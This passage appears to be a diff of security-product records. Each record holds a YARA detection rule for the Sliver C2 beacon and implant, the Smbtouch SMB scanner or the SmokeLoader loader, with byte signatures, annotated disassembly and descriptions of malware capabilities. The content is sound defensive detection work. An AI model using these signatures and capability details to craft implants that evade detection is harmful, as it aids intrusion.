+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BishopFox/sliver"
+  ],
+  "name": "sliver_beacon_linux.yar",
+  "content": "rule sliver_beacon_bd38b5e0314b {\n    meta:\n        title = \"Sliver C2 Beacon (bd38b5e0314b)\"\n        id = \"ad9f4a46-b8bf-4fb9-b6a2-bd38b5e0314b\"\n        description = \"Detects the Sliver C2 Beacon with obfuscated symbols.\\nSliver is an open-source cross-platform adversary emulation framework.\\nThis rule identifies obfuscated code within specific functions used for communication and process management.\"\n        references = \"https://github.com/BishopFox/sliver\"\n        date = \"2024-02-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071;attack.t1059;attack.privilege_escalation;attack.t1548.002;attack.t1134;attack.defense_evasion;attack.t1569.002;attack.t1055.012\"\n        classification = \"Linux.Framework.Sliver\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 124c0b1df0a003bf576fc40d0a3bd620c42f37e5984950cf8684600ae2707ae4  (manually generated, /w debug symbols)\n        // 0ba74c30220c0599663f444e1bd63d572db01db34a3bb5b20d97284d3cba80ea  (manually generated, stripped)\n        // f5ab886589558a8a265c216f6754d1477c19ca46d8ed4d57a1ee975c590e4aab\n        // 7bf41938e25df8385ad137cb33c5b6ef3479211ba237c4e4eaec4e3654eab00b\n        // 76e1853b9a4e88cc0521df2815d6ba5d6ea5549c4477f8bdc43b9fc3ede32636\n        // 98df535576faab0405a2eabcd1aac2c827a750d6d4c3d76a716c24353bedf0b5\n\n        // github.com/bishopfox/sliver/implant/sliver/cryptography.RandomKey\n        $fn_crypto_randomkey = {\n            bb 40 00 00         // MOV        param_2,0x40\n            00\n            48 89 d9            // MOV        param_3,param_2\n            e8 ?? ?? ??         // CALL       runtime::runtime.makeslice\n            ??\n            48 89 ?? ??         // MOV        qword ptr [RSP + local_10],param_1\n            ??\n            bb 40 00 00         // MOV        param_2,0x40\n            00\n            48 89 d9            // MOV        param_3,param_2\n            e8 ?? ?? ??         // CALL       crypto/rand::crypto/rand.Read\n            ??\n\n            [0-1]               // NOP (stripped binaries)\n            48 ?? ?? ?? ??      // MOV        param_1,qword ptr [RSP + local_10]\n            bb 40 00 00         // MOV        param_2,0x40\n            00\n            48 89 d9            // MOV        param_3,param_2\n            e8 ?? ?? ??         // CALL       crypto/sha256::crypto/sha256.Sum256\n            ??\n\n            0f 10 ?? ??         // MOVUPS     XMM0,xmmword ptr [RSP]=>local_88\n            0f 11 ?? ?? ??      // MOVUPS     xmmword ptr [RSP + local_30[0]],XMM0\n            0f 10 ?? ?? ??      // MOVUPS     XMM0,xmmword ptr [RSP + local_78[0]]\n            0f 11 ?? ?? ??      // MOVUPS     xmmword ptr [RSP + local_20[0]],XMM0\n            44 0f ?? ?? ?? ??   // MOVUPS     xmmword ptr [RSP + local_50[0]],XMM15\n            44 0f ?? ?? ?? ??   // MOVUPS     xmmword ptr [RSP + local_40[0]],XMM15\n            0f 10 ?? ?? ??      // MOVUPS     XMM0,xmmword ptr [RSP + local_30[0]]\n            0f 11 ?? ?? ??      // MOVUPS     xmmword ptr [RSP + local_50[0]],XMM0\n            0f 10 ?? ?? ??      // MOVUPS     XMM0,xmmword ptr [RSP + local_20[0]]\n            0f 11 ?? ?? ??      // MOVUPS     xmmword ptr [RSP + local_40[0]],XMM0\n            0f 10 ?? ?? ??      // MOVUPS     XMM0,xmmword ptr [RSP + local_50[0]]\n            0f 11 ?? ??         // MOVUPS     xmmword ptr [RSP + param_10[0]],XMM0\n            ?? ?? ?? ??\n            0f 10 ?? ?? ??      // MOVUPS     XMM0,xmmword ptr [RSP + local_40[0]]\n            0f 11 ?? ??         // MOVUPS     xmmword ptr [RSP + param_11[0]],XMM0\n            a0 00 ?? ??\n            48 ?? ?? ??         // MOV        RBP=>local_8,qword ptr [RSP + 0x80]\n            ?? ?? ?? ??\n            48 81 c4 ??         // ADD        RSP,0x88\n            ?? ?? ??\n            c3                  // RET\n        }\n\n        // github.com/bishopfox/sliver/implant/sliver/cryptography.Encrypt\n        $fn_crypto_encrypt = {\n            48 85 db        // TEST       param_2,param_2\n            0f 85 ??        // JNZ        LAB_007f7a49\n            ?? ?? ??\n            [0-20]\n            48 89 44        // MOV        qword ptr [RSP + local_20],param_1\n            24 ??\n            [0-1]           // NOP\n            48 8d 05        // LEA        param_1,[bytes::bytes.Buffer___runtime.structt\n            ?? ?? ?? ??\n            e8 ?? ??        // CALL       runtime::runtime.newobject                       undefined runtime.newobject(unde\n            ?? ??\n            48 89 44        // MOV        qword ptr [RSP + local_30],param_1\n            24 ??\n            48 8d 0d        // LEA        param_3,[DAT_00e3fd00]                           = ??\n            ?? ?? ?? ??\n            48 89 08        // MOV        qword ptr [param_1],param_3=>DAT_00e3fd00        = ??\n            44 0f 11        // MOVUPS     xmmword ptr [RSP + local_18[0]],XMM15\n            7c 24 ??\n            48 8d 0d        // LEA        param_3,[*age.X25519Recipient__implements__age\n            ?? ?? ?? ??\n            48 89 4c        // MOV        qword ptr [RSP + local_18[0]],param_3=>*age.X2\n            24 ??\n            48 8b 4c        // MOV        param_3,qword ptr [RSP + local_20]\n            24 ??\n            48 89 4c        // MOV        qword ptr [RSP + local_18[8]],param_3\n            24 ??\n            48 89 c3        // MOV        param_2,param_1\n            48 8d 4c        // LEA        param_3=>local_18,[RSP + 0x68]\n            24 ??\n            bf 01 00        // MOV        param_4,0x1\n            00 00\n        }\n\n        // github.com/bishopfox/sliver/implant/sliver/screen.LinuxCapture\n        $fn_feat_screen_linuxcapture = {\n            e8 ?? ??        // CALL       runtime::runtime.newobject                       undefined runtime.newobject(unde\n            ?? ??\n            48 8b 54        // MOV        RDX,qword ptr [RSP + local_40]\n            24 ??\n            48 85 d2        // TEST       RDX,RDX\n            74 ??           // JZ         LAB_0082da8f\n\n            [0-20]\n\n            48 8b 48 ??     // MOV        RCX,qword ptr [RAX + 0x8]\n            48 8b 10        // MOV        RDX,qword ptr [RAX]\n            48 8b 70 ??     // MOV        RSI,qword ptr [RAX + 0x10]\n            48 8b 40 ??     // MOV        RAX,qword ptr [RAX + 0x18]\n            [0-2]           // NOP\n            48 39 c8        // CMP        RAX,RCX\n            0f 87 ??        // JA         LAB_0082db0d\n            00 00 00\n            48 29 c6        // SUB        RSI,RAX\n            48 29 c1        // SUB        RCX,RAX\n            48 89 f7        // MOV        RDI,RSI\n            48 f7 de        // NEG        RSI\n            48 c1 fe 3f     // SAR        RSI,0x3f\n            48 21 f0        // AND        RAX,RSI\n            48 01 d0        // ADD        RAX,RDX\n            48 89 cb        // MOV        RBX,RCX\n            48 89 f9        // MOV        RCX,RDI\n            48 8b 6c        // MOV        RBP=>local_8,qword ptr [RSP + 0x60]\n            24 ??\n            48 83 c4 ??     // ADD        RSP,0x68\n            c3              // RET\n        }\n\n        // github.com/bishopfox/sliver/implant/sliver/ps.Kill\n        $fn_feat_ps_kill = {\n            49 3b 66 ??     // CMP        RSP,qword ptr [R14 + 0x10]=>CURRENT_G.stackgua\n            76 ??           // JBE        LAB_008306cf\n            48 83 ec ??     // SUB        RSP,0x20\n            48 89 6c        // MOV        qword ptr [RSP + local_8],RBP\n            24 ??\n            48 8d 6c        // LEA        RBP=>local_8,[RSP + 0x18]\n            24 ??\n            [0-1]           // NOP\n            e8 ?? ??        // CALL       os::os.findProcess                               undefined os.findProcess(undefin\n            ?? ??\n            48 85 db        // TEST       param_2,param_2\n            74 ??           // JZ         LAB_008306af\n            48 89 d8        // MOV        param_1,param_2\n            48 89 cb        // MOV        param_2,param_3\n            48 8b 6c        // MOV        RBP=>local_8,qword ptr [RSP + 0x18]\n            24 ??\n            48 83 c4 20     // ADD        RSP,0x20\n            c3              // RET\n            90              // NOP\n            [0-10]\n            48 8b 1d        // MOV        param_2,qword ptr [->syscall.Signal__implement   = 00aa4250\n            ?? ?? ?? ??\n            48 8b 0d        // MOV        param_3,qword ptr [PTR_DAT_00dff3b8]             = 00dc2700\n            ?? ?? ?? ??\n            [0-2]           // NOP\n            e8 ?? ??        // CALL       os::os.(*Process).signal                         error os.(*Process).signal(os.Pr\n            ?? ??\n            48 8b 6c        // MOV        RBP=>local_8,qword ptr [RSP + 0x18]\n            24 ??\n            48 83 c4 ??     // ADD        RSP,0x20\n            c3              // RET\n        }\n\n    condition:\n        (all of ($fn_crypto_*)) or (all of ($fn_feat_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sliver_beacon_bd38b5e0314b"
+  ],
+  "rule_creation_date": "2024-02-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.Sliver"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1059",
+    "attack.t1134",
+    "attack.t1569.002",
+    "attack.t1548.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sliver_beacon_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577624Z",
+  "creation_date": "2026-03-23T11:46:25.577626Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577631Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BishopFox/sliver"
+  ],
+  "name": "sliver_beacon.yar",
+  "content": "rule sliver_beacon {\n    meta:\n        title = \"Sliver C2 Beacon - obfuscated symbols (dd070e40fdc8)\"\n        id = \"5a02eef7-9c91-4499-9979-dd070e40fdc8\"\n        description = \"Detects a Sliver C2 Beacon with obfuscated symbols.\\nSliver is an open-source cross-platform adversary emulation and red team framework designed to test security posture.\\nIt enables red teams to perform various attacks including process enumeration, persistence mechanisms, and data exfiltration.\\nThe framework supports multiple communication channels like DNS, mTLS, WireGuard, and HTTP, and can be customized through scripting.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/BishopFox/sliver\"\n        date = \"2023-02-20\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071;attack.t1059;attack.privilege_escalation;attack.t1548.002;attack.t1134;attack.defense_evasion;attack.t1569.002;attack.t1055.012\"\n        classification = \"Windows.Framework.Sliver\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1846c1db07d4f9a3a86605e38c0be5da38074b91cfafa1a72bccc693b06346e4\n        // 3221de492e436a79655b4a82b72830a28de3aa417300fdf06e0b28202053ff3e\n        // cd2f373af09895ac271b3172f645a15f9d3d0793c767279be25828ee7e4f8cd6\n        // 49dda42f0da691c6ca67f9946ed76a98fc6a26c38cc76e74506c4718fa0895f7\n\n        // sliver_cryptography_ECCEncryptToServer\n        $crypto_1 = {\n            48 29 D1                      // sub     rcx, rdx\n            48 83 C1 ??                   // add     rcx, 10h\n            48 39 CB                      // cmp     rbx, rcx\n            48 89 CE                      // mov     rsi, rcx\n            48 0F 4C CB                   // cmovl   rcx, rbx\n            48 F7 DE                      // neg     rsi\n            48 C1 FE ??                   // sar     rsi, 3Fh\n            48 21 F2                      // and     rdx, rsi\n            48 8B ?? ?? ?? ?? ?? ??       // mov     rbx, [rsp+98h+var_18]\n            48 01 DA                      // add     rdx, rbx\n            48 39 D0                      // cmp     rax, rdx\n            74 0B                         // jz      short loc_D45B7D\n            48 89 C3                      // mov     rbx, rax\n            48 89 D0                      // mov     rax, rdx\n            E8 ?? ?? ?? ??                // call    sub_45C760\n        }\n\n        // sliver_cryptography_RandomKey\n        $crypto_2 = {\n            BB 40 00 00 00                // mov     ebx, 40h ; '@'\n            48 89 D9                      // mov     rcx, rbx\n            E8 ?? ?? ?? ??                // call    runtime_makeslice\n            48 89 ?? ?? ??                // mov     [rsp+88h+var_10], rax\n            BB 40 00 00 00                // mov     ebx, 40h ; '@'\n            48 89 D9                      // mov     rcx, rbx\n            E8 ?? ?? ?? ??                // call    crypto_rand_Read\n            90                            // nop\n            48 ?? ?? ?? ??                // mov     rax, [rsp+88h+var_10]\n            BB 40 00 00 00                // mov     ebx, 40h ; '@'\n            48 89 D9                      // mov     rcx, rbx\n            E8 ?? ?? ?? ??                // call    crypto_sha256_Sum256\n            0F 10 ?? ??                   // movups  xmm0, [rsp+88h+var_88]\n            0F 11 ?? ?? ??                // movups  [rsp+88h+var_50], xmm0\n            0F 10 ?? ?? ??                // movups  xmm0, [rsp+88h+var_78]\n            0F 11 ?? ?? ??                // movups  [rsp+88h+var_40], xmm0\n        }\n\n        // sliver_priv_TokenOwner\n        $func_1 = {\n            48 85 C0                                      // test    rax, rax\n            75 ??                                         // jnz     short loc_87AC9B\n            48 8B ?? ?? ??                                // mov     rax, [rsp+30h+arg_0]\n            48 8B ?? ?? ??                                // mov     rbx, [rsp+30h+arg_8]\n            48 8B ?? ?? ??                                // 'mov     rcx, [rsp+30h+arg_10]\n            E8 ?? ?? FF FF                                // call    os_dirname\n            48 85 DB                                      // test    rbx, rbx\n            75 ??                                         // jnz     short loc_87AC8F\n            48 63 D0                                      // movsxd  rdx, eax\n            48 39 D0                                      // cmp     rax, rdx\n            74 ??                                         // jz      short loc_87AC81\n            E8 89 ?? ?? ??                                // call    sub_88F3E0\n            48 89 ?? ?? ??                                // mov     [rsp+30h+var_18], rax\n            48 89 ?? ?? ??                                // mov     [rsp+30h+var_10], rbx\n            48 8B ?? ?? ??                                // mov     rax, [rsp+30h+var_18]\n            E8 95 ?? ?? ??                                // call    runtime_convTstring\n            48 8D 1D ?? ?? ?? ??                          // lea     rbx, off_104C860\n            48 89 C1                                      // mov     rcx, rax\n            31 C0                                         // xor     eax, eax\n            48 8B ?? ?? ??                                // mov     rbp, [rsp+30h+var_8]\n            48 83 C4 ??                                   // add     rsp, 30h\n            C3                                            // retn\n        }\n\n        // sliver_screen_Screenshot\n        $func_2 = {\n            88 4C ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+5], cl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_76]\n            29 D3                         // sub     ebx, edx\n            88 5C ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+6], bl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_77]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_78]\n            29 F2                         // sub     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+7], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_8F]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_75]\n            01 F2                         // add     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+8], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_89]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_9F]\n            31 F2                         // xor     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+9], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_9C]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_AA]\n            29 F2                         // sub     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+0Ah], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_85]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_91]\n            31 F2                         // xor     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+0Bh], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_82]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_7C]\n            29 F2                         // sub     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+0Ch], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_9A]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_99]\n            01 F2                         // add     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+0Dh], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_9D]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_A6]\n            01 F2                         // add     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+0Eh], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_A0]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_84]\n            01 F2                         // add     edx, esi\n            88 54 ?? ??                   // mov     byte ptr [rsp+0C8h+var_72+0Fh], dl\n            0F B6 ?? ?? ??                // movzx   edx, [rsp+0C8h+var_A5]\n            0F B6 ?? ?? ??                // movzx   esi, [rsp+0C8h+var_95]\n            29 F2                         // sub     edx, esi\n        }\n\n    condition:\n        (1 of ($crypto_*) and 1 of ($func_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sliver_beacon"
+  ],
+  "rule_creation_date": "2023-02-20",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Sliver"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1059",
+    "attack.t1134",
+    "attack.t1569.002",
+    "attack.t1548.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sliver_implant_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586432Z",
+  "creation_date": "2026-03-23T11:46:25.586434Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586440Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BishopFox/sliver"
+  ],
+  "name": "sliver_implant.yar",
+  "content": "rule sliver_implant {\n    meta:\n        title = \"Sliver Implant\"\n        id = \"43803827-650c-445d-a8e1-951f1040446a\"\n        description = \"Detects cross-platform Sliver implant.\\nSliver is an open source cross-platform adversary emulation/red team framework designed to test security by simulating real-world attacks.\\nIt enables red teaming and security testing by providing tools for process injection, persistence, and communication.\\nIt is recommended to perform a detailed investigation to uncover any executed malicious actions.\"\n        references = \"https://github.com/BishopFox/sliver\"\n        date = \"2022-10-14\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055;attack.execution;attack.t1059.001;attack.t1059.003;attack.command_and_control;attack.t1071.001;attack.t1071.004;attack.t1090.001;attack.collection;attack.t1113\"\n        classification = \"Framework.Sliver\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this samples:\n        // 7296bb7fb5d5f35e0d190436df8d563c62159af679035c5d7bf905cd6b2f0a0a\n        // 05461e1c2a2e581a7c30e14d04bd3d09670e281f9f7c60f4169e9614d22ce1b3\n        // 5568131f894caf1217f4cbda3dd40c1f39e680ce7727ed4a767cd1986e7805f0\n\n        $a1 = \"PeerFailureType\" fullword ascii\n        $a2 = \"B/Z-github.com/bishopfox/sliver/protobuf/sliverpbb\" fullword ascii\n\n        $b1 = \"BackdoorReq\" fullword ascii\n        $b2 = \"WGTCPForwardersReq\" fullword ascii\n        $b3 = \"WGTCPForwarder\" fullword ascii\n        $b4 = \"PollIntervalReq\" fullword ascii\n        $b5 = \"RportFwdStopListenerReq\" fullword ascii\n        $b6 = \"RportFwdListenersReq\" fullword ascii\n        $b7 = \"RPortfwdReq\" fullword ascii\n\n    condition:\n        all of ($a*) or all of ($b*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sliver_implant"
+  ],
+  "rule_creation_date": "2022-10-14",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Framework.Sliver"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1071.004",
+    "attack.t1071.001",
+    "attack.t1113",
+    "attack.t1055",
+    "attack.t1059.001",
+    "attack.t1090.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-smbtouch_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583977Z",
+  "creation_date": "2026-03-23T11:46:25.583979Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583985Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/iSafeBlue/Smbtouch-Scanner\nhttps://github.com/3gstudent/Smbtouch-Scanner"
+  ],
+  "name": "smbtouch.yar",
+  "content": "rule smbtouch {\n    meta:\n        title = \"Smbtouch Scanner\"\n        id = \"c0b0f8f6-0839-42dc-a229-9d47d87267e4\"\n        description = \"Detects Smbtouch, an internal network vulnerability scanner.\\nSmbtouch is a tool that actively checks for various vulnerabilities on target machines using the SMB or NBT protocol.\\nIt is commonly used for reconnaissance and exploitation attempts, including testing for known vulnerabilities like EternalBlue.\\nThe tool attempts to exploit specific named pipes and checks for vulnerability indicators, such as the presence of specific exploit strings in memory.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/iSafeBlue/Smbtouch-Scanner\\nhttps://github.com/3gstudent/Smbtouch-Scanner\"\n        date = \"2022-09-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.reconnaissance;attack.t1592.004;attack.t1595.002\"\n        classification = \"Windows.Tool.SMBTouch\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a\n\n        $smbtouch_s1 = \"[*] Trying pipes...\" fullword ascii\n        $smbtouch_s2 = \"[+] Target is vulnerable to %d exploit%s\" fullword ascii\n        $smbtouch_s3 = \"[-] Target is not vulnerable\" fullword  ascii\n        $smbtouch_s4 = \"[+] Touch completed successfully\" fullword  ascii\n        $smbtouch_s5 = \"Named pipe required for exploit\" fullword  ascii\n        $smbtouch_s6 = \"ETERNALBLUE\" fullword  ascii\n        $smbtouch_s7 = \"ETERNALSYNERGY\" fullword  ascii\n        $smbtouch_s8 = \"ETERNALROMANCE\" fullword  ascii\n        $smbtouch_s9 = \"ETERNALCHAMPION\" fullword  ascii\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 200KB and all of ($smbtouch_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "smbtouch"
+  ],
+  "rule_creation_date": "2022-09-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.SMBTouch"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1592.004",
+    "attack.t1595.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-smoke_loader_memory_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582736Z",
+  "creation_date": "2026-03-23T11:46:25.582740Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582749Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.youtube.com/watch?v=O69eMQ7NS8w\nhttps://attack.mitre.org/software/S0226/"
+  ],
+  "name": "smoke_loader_memory.yar",
+  "content": "rule smoke_loader_memory_first_stage {\n    meta:\n        title = \"SmokeLoader First Stage\"\n        id = \"f7cba4ca-d2d1-4d14-bee5-0e961b8f05f4\"\n        description = \"Detects SmokeLoader in-memory patterns through its API hashing function, called before it injects itself into explorer.\\nSmokeLoader is a modular malware downloader first observed in 2011. It uses code obfuscation, API function resolution, and sandbox detection for evasion.\\nThe malware is designed to establish persistence and download additional payloads such as banking trojans or ransomware from a C2 server.\"\n        references = \"https://www.youtube.com/watch?v=O69eMQ7NS8w\\nhttps://attack.mitre.org/software/S0226/\"\n        date = \"2023-10-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0226;attack.defense_evasion;attack.t1140;attack.t1055.012;attack.t1497.001;attack.execution;attack.t1059.005;attack.persistence;attack.t1547\"\n        classification = \"Windows.Loader.SmokeLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 013785c59843063e0c132de6cbdcee90dfdff23fa042bf42286a82283dbf45bf\n\n        $resolve_fn = {\n            C7 ?? ?? ?? 6B 65 72 6E       // mov     dword ptr [ebp+eax-30h], 6E72656Bh\n            8B ?? ??                      // mov     eax, [ebp-38h]\n            83 C0 04                      // add     eax, 4\n            89 ?? ??                      // mov     [ebp-38h], eax\n            8B ?? ??                      // mov     eax, [ebp-38h]\n            C7 ?? ?? ?? 65 6C 